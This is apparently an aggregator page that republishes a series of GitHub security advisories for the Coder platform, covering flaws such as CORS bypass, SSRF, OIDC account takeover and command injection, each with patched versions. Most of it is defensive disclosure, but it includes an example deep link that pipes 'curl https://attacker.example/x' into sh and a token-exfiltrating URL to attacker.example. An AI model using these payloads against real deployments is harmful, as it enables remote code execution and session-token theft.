Where
AND
-Infinity
0
Severity
6.8
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N

Summary

Coder's subdomain-based workspace app proxy allowed the same-owner CORS check to be bypassed. When a workspace-name subdomain segment parsed as a UUID, the workspace was resolved by ID without confirming the URL's username matched the real owner, while the CORS middleware trusted the unverified username in the hostname.

Note: Practical exploitation requires subdomain app routing (wildcard hostname) enabled and a victim who visits the attacker's crafted app URL while authenticated.

Impact

An authenticated user could craft a subdomain encoding their own workspace UUID and a victim's username. If the victim visited the attacker's URL, the attacker's JavaScript could issue credentialed cross-origin fetch() requests to the victim's workspace apps and read the responses, exfiltrating data accessible through those apps.

Patches

The fix validates the subdomain username against the resolved workspace's actual owner and bases the same-owner CORS decision on the authoritative owner identity.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None.

Resources

- Fix: #26086, #26085

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22434) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

The AgentLogLine dashboard component instantiated ansi-to-html without escapeXML: true and inserted the result via dangerouslySetInnerHTML so HTML embedded in workspace agent log lines was rendered as live markup. Server-side sanitization did not neutralize HTML metacharacters.

Note: Exploitation requires a victim to view attacker-controlled agent logs in the dashboard.

Impact

A user who could run a workspace could emit arbitrary HTML into agent logs; when another user, including an administrator, viewed the workspace page, it rendered in their session. Content Security Policy blocked inline scripts but an attacker could still inject a meta refresh redirect, style rules for UI redressing or CSS-based exfiltration or external img beacons. This required workspace-owner access and a victim viewing the page.

Patches

The fix enables escapeXML: true so HTML metacharacters are escaped before DOM insertion.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None.

Resources

- Fix: #25808

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22449) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The AI Bridge Proxy (aibridgeproxyd) created a goproxy server whose default transport set InsecureSkipVerify: true and only assigned a secure transport when an upstream proxy was configured. In the default configuration (no upstream proxy), outbound HTTPS to the Coder access URL accepted any TLS certificate.

Note: Practical exploitation requires an on-path (man-in-the-middle) position between the AI Bridge Proxy and the Coder server. Deployments where they are co-located over loopback are effectively unaffected.

Impact

An attacker positioned between the proxy and the Coder server, via ARP spoofing, DNS poisoning or control of proxy environment variables, could intercept injected Coder session tokens, user-supplied provider API keys (BYOK) and full request and response bodies including prompts and completions. The default transport also honored HTTPPROXY and HTTPSPROXY, allowing environment-based traffic redirection.

Patches

The fix applies the secure transport (TLS 1.2 or higher using system root CAs) unconditionally. The AI Bridge Proxy was introduced in v2.30.0. Earlier release lines including the v2.29 ESR line are not affected.

The fix is available in the following releases:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 |

Workarounds

Ensure the Coder access URL uses a trusted certificate and secure the network path between the AI Bridge Proxy and the Coder server (for example, loopback or mTLS).

Resources

- Fix: #26131

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22455) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

AI Bridge proxy endpoints authenticate via Server.IsAuthorized in coderd/aibridgedserver, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension does not revoke existing API keys, a suspended user's unexpired token keeps working.

Note: Practical impact is limited to already-issued API keys of suspended users until those keys are deleted.

Impact

A suspended user with a previously issued long-lived token could continue calling AI Bridge LLM proxy endpoints, consuming paid provider resources billed to the deployment and, if injected MCP tools are enabled, invoking those tools. Access persists until the token expires, which may be months after suspension.

Patches

The fix makes AI Bridge authorization reject non-active users like the standard API key middleware. AI Bridge was introduced in v2.30.0. The v2.29 ESR line is not affected.

The fix is available in the following releases:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 |

Workarounds

On suspension, delete the user's API keys via DELETE /api/v2/users/{user}/keys.

Resources

- Fix: #26173

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22446) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The devcontainer recreate endpoint relied on route middleware that checked only ActionRead on the workspace and, unlike the sibling delete endpoint, performed no ActionUpdate check before triggering the destructive rebuild.

Note: Exploitation requires an existing low-privilege role with access to the target workspace.

Impact

Any authenticated principal with read-only workspace access, such as a Template Admin or Org Template Admin, could recreate a devcontainer, destroying uncommitted in-container state and, if called repeatedly, denying service. This is an authorization bypass leading to data loss and denial of service.

Patches

The fix adds an explicit ActionUpdate authorization check before the agent is dialed like the delete endpoint.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None.

Resources

- Fix: #25812

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22454) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

The CreateSubAgent RPC did not validate a requested app sharing level against the template's MaxPortSharingLevel before persisting workspace apps, letting a workspace owner exceed the administrator's configured maximum.

Note: Exploitation requires the ability to register sub-agent apps in a workspace the attacker controls.

Impact

A workspace owner with an agent token could register a sub-agent app as PUBLIC even when the template's MaxPortSharingLevel was owner, exposing the app to unauthenticated users via the wildcard app domain. This affected only deployments using Enterprise port-sharing policy and wildcard app hostnames and required an authenticated workspace owner with an agent token.

Patches

The fix clamps the sub-agent app sharing level to the template's MaxPortSharingLevel.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Disable wildcard app hostnames (CODERWILDCARDACCESSURL) to block subdomain-based app routing.

Resources

- Fix: #26061

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22452) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSIONTOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSIONTOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSIONTOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

- Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

POST /api/v2/files converts zip uploads to tar in memory via CreateTarFromZip, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer.

Note: Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service).

Impact

An authenticated user could upload a zip within the 100 MiB upload limit but containing many highly compressible entries whose decompressed size exhausted memory, crashing coderd before any RBAC check. Repeated requests could keep the service unavailable. This is a denial of service; it does not allow data disclosure or code execution.

Patches

The fix adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Restrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of coderd.

Resources

- Fix: #25877

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22438) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N

Summary

The workspace app proxy resolves the target app from httpapi.RequestHost() which prefers the X-Forwarded-Host header over the real Host header. No middleware strips X-Forwarded-Host before routing and the header is not browser-forbidden so client-side JavaScript can set it on fetch() calls.

Note: Practical exploitation requires subdomain app routing (wildcard hostname) enabled, a victim who visits the attacker's shared app and a deployment whose upstream proxy does not strip X-Forwarded-Host.

Impact

App session cookies are scoped to the wildcard parent domain so the browser attaches them to any app subdomain. An attacker who controls a shared workspace app can serve JavaScript that sends same-site requests with a forged X-Forwarded-Host pointing at a victim's private app. The server routes by the attacker-controlled header but authorizes with the victim's cookie which lets the attacker read the victim's private app responses. Subdomain app routing must be enabled and no upstream proxy may strip X-Forwarded-Host.

Patches

The fix trusts X-Forwarded-Host only from configured trusted proxies and otherwise resolves the routing host from the verified request host.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Place an upstream reverse proxy that strips or overwrites X-Forwarded-Host on untrusted requests.

Resources

- Fix: #26204

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22435) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

The tailnet coordinator validates that an agent's Addresses derive from its authenticated UUID but applies no equivalent check to AllowedIPs. The coordinator forwards agent-supplied AllowedIPs verbatim to tunnel peers which install them into the WireGuard peer configuration.

Impact

A malicious workspace agent can advertise arbitrary AllowedIPs prefixes including another agent's tailnet address. Coder's ServerTailnet routes to agents by tailnet IP so an agent that claims a victim's prefix can intercept web terminal and workspace app traffic and serve spoofed content. Exploitation requires an authenticated user with a running workspace and a modified agent binary.

Patches

The fix validates each AllowedIPs prefix against the authenticating agent's UUID just like Addresses.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Operators who cannot upgrade immediately should monitor coordinator logs for agents advertising unexpected AllowedIPs prefixes.

Resources

- Fix: #26144

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22451) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Summary

UpsertWorkspaceApp overwrites an existing app's agentid on a primary-key conflict and insertAgentApp accepts the app ID from the provisioner's CompleteJob payload without verifying it belongs to the workspace being built. CompleteJob runs under dbauthz.AsProvisionerd so the authorization layer does not block the cross-workspace upsert.

Note: Exploitation requires elevated access as a template author or external provisioner operator.

Impact

A user with template authorship or external provisioner access can submit a CompleteJob payload with a known victim app UUID and an attacker-controlled agent ID. On completion of the attacker's build the victim's app row is rebound to the attacker's agent so later app traffic such as IDE and terminal sessions is proxied to the attacker's workspace. App UUIDs are discoverable through the public API.

Patches

The fix verifies that any existing workspaceapps row matching the supplied ID belongs to the workspace being built and rejects cross-workspace agent reassignment.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

None. Upgrading is required.

Resources

- Fix: #26103

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22441) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Summary

NewDataBuilder in provisionersdk/proto/dataupload.go allocated a byte slice using the client-supplied FileSize from a DataUpload message without an upper-bound check. Although the DRPC wire limit is 4 MiB, the FileSize value itself was unconstrained

Impact

An authenticated user able to reach the provisioner daemon serve endpoint could send a roughly 50-byte message declaring a huge FileSize (for example 1 TiB), triggering an unrecoverable Go out-of-memory abort that terminates coderd. This is a single-message denial of service affecting the entire deployment.

Patches

The fix validates FileSize against an upper bound (MaxFileSize = 100 MiB) before allocation.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Restrict access to the provisioner daemon serve endpoint to trusted provisioner daemon service accounts.

Resources

- Fix: #25710

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22442) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
OS Command Injection
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

coder config-ssh wrote server-supplied SSH settings (HostnameSuffix, SSHConfigOptions) into the user's ~/.ssh/config without sanitizing embedded newlines or restricting directives so a malicious or compromised Coder server could inject arbitrary SSH configuration.

Note: Practical exploitation requires control of the server-supplied values through a malicious or compromised deployment, a man-in-the-middle position or admin access to the HostnameSuffix and SSHConfigOptions settings.

Impact

A server administrator or an attacker who controlled the server, could inject a directive such as ProxyCommand and achieve arbitrary code execution on any developer workstation that ran coder config-ssh. Injected commands ran with the local user's privileges and applied to all SSH connections, not just Coder workspaces.

Patches

The fix validates HostnameSuffix and SSHConfigOptions against a strict character set that rejects newlines and other control characters.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Inspect coder config-ssh --dry-run output before applying changes.

Resources

- Fix: #26154

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22437) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The PUT /api/v2/users/{user}/password endpoint authorized only ActionUpdatePersonal and did not prevent a user-admin from resetting an owner account's password. It also did not require the current password when an admin reset another user's password.

Note: Exploitation requires the privileged user-admin role so practical risk is limited to deployments that grant user-admin to less trusted operators.

Impact

A user-admin could reset any owner's password without knowing it, authenticate as that owner and gain full deployment control, including templates, workspaces, licensing, organization settings and the ability to self-assign the owner role. This was a privilege escalation from user-admin to owner.

Patches

The fix prevents non-owner users from resetting the password of an account that holds the owner role.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Restrict the user-admin role to trusted administrators until upgrading.

Resources - Fix: #25709

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22436) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

Two flaws in Coder's OIDC login chained into account takeover: email-based user matching fell back to linking by email without checking for an existing link to a different IdP subject and the emailverified claim was only enforced when present as a boolean false so an absent or non-boolean claim was treated as verified.

Impact

An attacker who could authenticate at the configured OIDC provider with an email matching a victim's Coder account could log in as that victim and gain full access to their workspaces, templates and resources. This required OIDC authentication, attacker control of a matching email at the IdP and a victim account not yet linked to a different IdP subject.

Patches

The fix restricts the email fallback to first-time and legacy linking and defaults emailverified to false when the claim is absent or of an unexpected type.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Configure the OIDC provider to disallow self-registration or to require email verification before issuing tokens.

Resources

- Fix: #25712, #25713

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22450) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
Incorrect Type Cast
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

Coder's OIDC callback checked emailverified with a direct Go bool type assertion. When an IdP returned the claim as a non-boolean (for example the string "false") or omitted it, the assertion failed open and the email was treated as verified. Combined with an unconditional email-based account fallback, this enabled account takeover.

Impact

An attacker who registered a victim's email at a compatible IdP without verifying it could log in via OIDC and be matched to the victim's existing Coder account, receiving a session for that account. No prior authentication to Coder was required and the result was full account takeover.

Patches

The fix coerces emailverified across bool, string and numeric types (fail-closed) and blocks the email fallback when the matched user already has a different linked IdP subject.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Ensure the IdP returns emailverified as a native JSON boolean. The email-fallback linking issue has no configuration workaround; upgrading is required.

Resources

- Fix: #25712, #25713

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22444) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
OS Command Injection, Input Validation, Command Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Command injection via dotfiles URI parameter combined with workspace auto-creation

Summary

The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfilesuri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfilesuri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

Details

Command injection in the dotfiles module (root cause)

The dotfiles module interpolated the user-provided dotfilesuri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfilesuri obtained arbitrary code execution in their workspace, even without mode=auto.

Auto-creation amplification (mode=auto)

The Create Workspace page supported a mode=auto query parameter that, combined with param. URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfilesuri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.

Example URL:

https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfilesuri=foo$(curl https://attacker.example/x | sh).com

Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

Patches

coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.

- https://github.com/coder/registry/pull/703

coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled param. values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.

- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011) - Patched releases: - v2.29.7 (ESR) - v2.30.2 (mainline)

Recognition We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

azureidentity.Validate() verifies that the PKCS#7 signer certificate chains to a trusted Azure CA but never verifies the PKCS#7 signature itself. An attacker can embed a legitimate Azure certificate alongside arbitrary content e.g. {"vmId":"<target>"} and the forged vmId will be accepted returning the victim workspace agent's session token.

No authentication is required. The attacker only needs to know a target VM's vmId which is a UUIDv4. that's a practical limitation which would typically require prior access to be exploited

Root Cause

In unpatched Coder releases the signature over the PKCS#7 content is not validated - only the signing certificate is checked.

Impact

An attacker on any Azure VM or with access to a publicly available Azure IMDS certificate from CT logs can:

1. Steal an agent session token by sending a forged PKCS#7 envelope to POST /api/v2/workspaceagents/azure-instance-identity which is unauthenticated. 2. With the stolen token access: - Git SSH private key via GET /workspaceagents/me/gitsshkey: push to repositories and impersonate the workspace owner. - OAuth access tokens via GET /workspaceagents/me/external-auth: GitHub, GitLab, and Bitbucket tokens in plaintext. - Workspace secrets via the agent manifest: environment variables, file paths, and API keys.

Attack Path Diagram

<img width="5588" height="4176" alt="PKCS7diagram (1)" src="https://github.com/user-attachments/assets/74e88a89-a995-450d-87ab-6feed03579a5" />

Affected Versions

All versions of Coder v2 are affected.

Patches

Fixed in #25286

The fix was backported to all supported release lines:

| Patched Versions | | --- | | v2.33.3 | | v2.32.2 | | v2.31.12 | | v2.30.8 | | v2.29.13 | | v2.24.5 |

Workarounds

If unable to patch we recommend immediately reconfiguring any Azure templates to use token authentication rather than azure-instance-identity until the patch is released and you are fully upgraded.

1. Modify the coderagent.auth value to be token. 2. Add CODERAGENTTOKEN=${coderagent.main.token} to the set of environment variables for the Coder Workspace Agent initialization script.

Recognition

We'd like to thank Ben Tran of calif.io and Anthropic’s Security Team (ANT-2026-22445) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

Unauthenticated semi-blind Server-Side Request Forgery (SSRF) via the Azure instance identity endpoint (POST /api/v2/workspaceagents/azure-instance-identity). An external attacker can force the Coder server to issue HTTP GET requests to arbitrary internal or external hosts by submitting a crafted PKCS#7 signature. The server does not return the target's response body, but error messages in the API response reveal whether the target is reachable and what type of failure occurred.

Details

The POST /api/v2/workspaceagents/azure-instance-identity endpoint accepts a PKCS#7 signature without authentication. During certificate chain verification, azureidentity.Validate() iterates over the signer certificate's IssuingCertificateURL extension and fetches each URL using http.DefaultClient with no host restriction, no private-IP blocking, and no response-size limit.

An attacker crafts a self-signed certificate whose Common Name matches .metadata.azure.com (passing the allowedSigners regex) and whose IssuingCertificateURL points to an attacker-chosen target. The server fetches that URL and feeds the response body into x509.ParseCertificate. The parsed result is discarded, but the wrapped error string is returned verbatim in the JSON response via Detail: err.Error(). Connection-level errors ("connection refused", "i/o timeout", DNS failures) and certificate-parse errors give the attacker enough signal to infer host reachability and port state without seeing the actual response content.

Root causes:

1. No allowlist on IssuingCertificateURL hosts. Any URL was accepted. 2. http.DefaultClient was used. It follows redirects and connects to private, link-local, and loopback addresses. 3. Unbounded io.ReadAll on the response body (memory exhaustion vector). 4. Raw err.Error() was returned in the JSON response, leaking internal HTTP client errors to the caller.

Impact

This is a semi-blind SSRF: the server makes the outbound request but the HTTP response body is consumed by x509.ParseCertificate and never returned to the attacker.

- Internal network reconnaissance. The attacker can map internal hosts and ports by observing error differentiation in the API response: "connection refused" (port closed), "i/o timeout" (host unreachable or firewalled), DNS failure (host does not exist), or certificate-parse error (port open and responding). This enables systematic scanning of the internal network from the Coder server's vantage point. - Requests to sensitive endpoints. The server can be directed to hit cloud metadata services (e.g. http://169.254.169.254/), internal admin interfaces, or other services. The attacker cannot read the response content, but the request itself may have side effects depending on the target. - Error-based information disclosure. Wrapped Go HTTP client errors in the Detail field expose internal hostnames, IP addresses, port numbers, and network topology details. - Memory exhaustion. The unbounded io.ReadAll on the response body allows an attacker to point IssuingCertificateURL at a large resource, forcing the server to buffer it entirely in memory.

Patches

Fixed in #25274 (commit 57b11d405):

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.33 | v2.33.3 | | 2.32 | v2.32.2 | | 2.31 | v2.31.12 | | 2.30 | v2.30.8 | | 2.29 | v2.29.13 | | 2.24 (ESR) | v2.24.5 |

Workarounds

If the Azure identity-auth mechanism is not being used then restrict access to the corresponding endpoint (/api/v2/workspaceagents/azure-instance-identity) using ingress firewall and/or proxy ACLs.

Recognition

We'd like to thank Ben Tran of calif.io and Anthropic's Security Team (ANT-2026-22447) for independently disclosing this issue!

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203